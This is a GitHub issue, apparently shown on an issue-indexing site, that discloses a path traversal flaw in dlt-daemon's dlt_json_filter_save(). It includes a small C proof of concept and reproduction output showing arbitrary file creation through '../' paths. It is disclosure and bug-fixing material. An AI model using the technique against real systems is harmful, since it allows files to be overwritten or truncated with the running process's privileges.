COVESA / COVESA/dlt-daemon

Path Traversal in dlt_json_filter_save()

Open
#889 1 comment 0 reactions 0 assignees View on GitHub
Dominant language
C
Stars
459
Forks
340
Avg merge
4d 21h
Merged PRs (30d)
2

Description

### Summary

The dlt_json_filter_save() API is vulnerable to Path Traversal leading to Arbitrary File Write/Truncation due to an absolute lack of input validation. The function accepts a raw string via the filename parameter, which is passed directly to fopen(filename, "w") at dlt-control-common.c:970 without any canonicalization or path restriction.

https://github.com/COVESA/dlt-daemon/blob/b84dbc0d1ab35f686dd225956d33c003b5917ab6/src/console/dlt-control-common.c#L970

This specific vulnerable block is active when the project is compiled with -DWITH_EXTENDED_FILTERING=ON under the QNX platform guard (#ifdef __QNX__). Consequently, if a calling application passes user-controlled input to this function, an attacker can inject relative path modifiers (e.g., ../) to traverse directories, allowing them to create or entirely overwrite arbitrary files with the privileges of the running process.

### PoC

```
#include
#include

#include "dlt_types.h"
#include "dlt-control-common.h"

extern DltReturnValue dlt_json_filter_save(DltFilter *filter, const char *filename, int verbose);

int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s \n", argv[0]);
return 1;
}

DltFilter filter;
memset(&filter, 0, sizeof(DltFilter));

char *target_path = argv[1];
printf("[*] Calling dlt_json_filter_save() from the actual library.\n");
printf("[*] Target path provided: %s\n", target_path);

DltReturnValue ret = dlt_json_filter_save(&filter, target_path, 1);

if (ret == DLT_RETURN_OK) {
printf("[+] SUCCESS: Vulnerability successfully triggered in the actual library!\n");
return 0;
} else {
printf("[-] FAILURE: The function returned an error.\n");
return 1;
}
}

```

### Reproduction Steps
```
$ ./poc "/tmp/../tmp/poc_test.txt"
[*] Calling dlt_json_filter_save() from the actual library.
[*] Target path provided: /tmp/../tmp/poc_test.txt
Saving current filter into '/tmp/../tmp/poc_test.txt'
[+] SUCCESS: Vulnerability successfully triggered in the actual library!

ls -l /tmp/poc_test.txt
-rw-rw-r-- 1 ubuntu ubuntu 37 Jun 24 05:57 /tmp/poc_test.txt
```

Due to the lack of a QNX environment, the target function was manually enabled as shown below to conduct the test.

```
DltReturnValue dlt_json_filter_save(DltFilter *filter, const char *filename, int verbose)
{
if ((filter == NULL) || (filename == NULL))
return DLT_RETURN_WRONG_PARAMETER;

if(verbose)
pr_verbose("dlt_json_filter_save()\n");

printf("Saving current filter into '%s'\n", filename);
FILE *handle = fopen(filename, "w");
fprintf(handle, "poc test\n");

fclose(handle);

return DLT_RETURN_OK;
}
```

Contributor guide

No contributing guide indexed for this repository

Research direction

Start in src/console/dlt-control-common.c at dlt_json_filter_save(), especially the fopen call around line 970 and the __QNX__/WITH_EXTENDED_FILTERING path. Review the reported PoC and determine safe filename handling for this API; done means traversal can no longer cause arbitrary file creation or truncation while valid filter saves continue to work.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Mostly clear
Newbie friendliness
50/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.